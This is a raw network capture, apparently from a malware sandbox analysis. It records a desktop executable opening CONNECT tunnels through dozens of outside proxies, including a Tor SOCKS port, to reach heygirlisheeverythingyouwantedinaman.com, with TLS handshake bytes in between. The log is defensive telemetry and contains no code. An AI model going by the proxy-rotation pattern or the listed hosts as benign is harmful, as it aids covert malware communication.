Feb 23, 2024 09:45:24.455106020 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 90 f9 d9 bd 59 89 93 2b 9c 9b 53 9c 70 31 4a f6 75 9c b2 fa e0 30 b8 e1 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9Y+Sp1Ju0DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223084423Z260222084423Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 09:45:24.467608929 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 8f b9 c2 22 64 20 69 76 a1 dd a0 81 0b af 97 19 ff 95 53 a3 a5 ea 75 ea 4c b9 99 44 7a e3 cb 3a 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 69 af 08 9c 33 f7 55 f5 6e 49 61 52 c4 3d 37 d7 7b 5e 01 a5 f8 Data Ascii: %! "d ivSuLDz:(i3UnIaR=7{^;T%$w-
Feb 23, 2024 09:45:24.668086052 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 a2 15 62 18 c7 d0 83 11 3a 85 41 5c 25 bf b2 70 69 ce 75 23 22 c4 7b 35 13 e2 61 37 91 fb b0 29 c8 08 8f fd a3 15 1e 84 Data Ascii: (b:A\%piu#"{5a7)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.4	52828	51.222.241.8	55452	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.991034985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.4	52778	178.33.163.156	24156	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.000287056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.129466057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.240847111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.4	52780	115.74.153.4	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.025168896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.4	52689	218.75.102.198	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.027442932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.4	51621	143.110.144.70	17969	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.027798891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.178164959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.178519964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.272353888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.4	51713	178.79.165.164	2124	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.028018951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.178177118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.4	52760	176.113.157.149	37417	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.028140068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.4	52773	54.38.176.200	36693	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.034881115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.4	51589	141.94.174.6	45877	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.034888029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.4	52985	103.212.95.253	41363	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.044011116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.4	51476	162.214.227.68	57337	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.044928074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.178278923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.178548098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.272376060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.4	52991	103.200.135.230	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.067368984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.4	51686	87.126.65.11	1388	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.070440054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.4	53023	199.229.254.129	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.072000980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.4	53044	45.14.174.148	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.093904972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.181188107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.4	53007	175.183.82.221	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.128077984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.4	53036	163.172.97.137	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.141851902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.680838108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178420067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.178361893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178925037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.178381920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179217100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084233046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.568777084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.4	53008	114.132.202.246	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.145682096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.009795904 CET	84	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:24 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.4	53074	172.67.190.93	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.155807972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.4	53051	51.38.50.249	9224	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.191988945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740592957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.257339001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.271034002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.333551884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.377054930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.377675056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.348167896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.334362984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.4	52849	191.37.155.135	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.270103931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.4	53093	172.67.190.93	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.314949989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.4	52470	142.54.229.249	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.331584930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.4	53045	3.112.35.208	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.333708048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.634875059 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.4	53053	58.234.116.197	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.361368895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.4	52305	72.195.34.58	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.383665085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.4	53059	8.213.128.90	8089	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.383986950 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:26.695192099 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.4	52874	77.242.235.35	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.414307117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.4	51903	79.110.197.144	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.421044111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.4	52965	170.106.193.128	30001	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.421334982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.4	53090	51.15.210.79	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.422178984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.903671980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.492096901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.589622021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.574265957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.586199045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.622889042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647161007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.537393093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:47.011451960 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.4	53080	119.39.68.79	2323	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.515672922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.4	52009	167.114.107.37	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.551441908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.691006899 CET	70	IN	HTTP/1.0 200 Connection Established Proxy-agent: Website Firewall
Feb 23, 2024 09:45:24.700772047 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 5b 24 b0 6e 2d f5 27 5a 86 e4 d9 79 75 98 24 9a 7f 6f 3c b1 f3 eb 1e 55 3e 78 04 e3 0c bc 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[$n-'Zyu$o<U>x*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 09:45:24.823327065 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 5b 24 66 d7 ec a1 0e 2a 9a 88 24 f9 b7 62 5f 08 21 df 62 7c c0 71 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e[$f$b_!b\|qDOWNGRD/#00`4ZmQ0H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 09:45:24.823334932 CET	174	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@v*wTJ;dm55inz74\|"@,+v?iS't
Feb 23, 2024 09:45:24.823822021 CET	1286	IN	Data Raw: a3 e4 d5 3b 48 03 d9 a4 25 cb 08 0c 15 0b f0 5b 9d cd 27 fd a8 ef f9 8b c7 ac dc 0d be eb 0c 72 e2 42 ee 75 2a b8 1b b1 19 71 88 a8 e8 2c 14 2f 09 61 65 b1 cd 59 a5 fa 58 68 9d a3 d1 9c d8 9d c9 08 56 96 9f 42 d9 d5 96 63 1b 0b 86 be 5f f0 0e 94 Data Ascii: ;H%['rBuq,/aeYXhVBc_[:72cG^x}gv00tP'S"0H0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R10200813000042Z2
Feb 23, 2024 09:45:24.823832989 CET	1286	IN	Data Raw: 51 07 7b de 3d b0 c8 ef 30 7a 24 2d be b8 b3 86 f6 4b f7 f0 b5 4f ff ce c6 f9 f6 3f 2a 27 08 0f 09 3e 23 5a c7 e3 42 2d 7a 36 e4 3d 98 96 60 39 98 ea d1 db 63 2a eb 78 09 b1 4e 21 b3 8e b7 ce 3e 92 f1 95 5c a4 39 d0 c0 2b c8 53 15 f5 d2 2f 82 cd Data Ascii: Q{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*j%[ @4 awHI)adcGF9sO+Xe Uon=zc
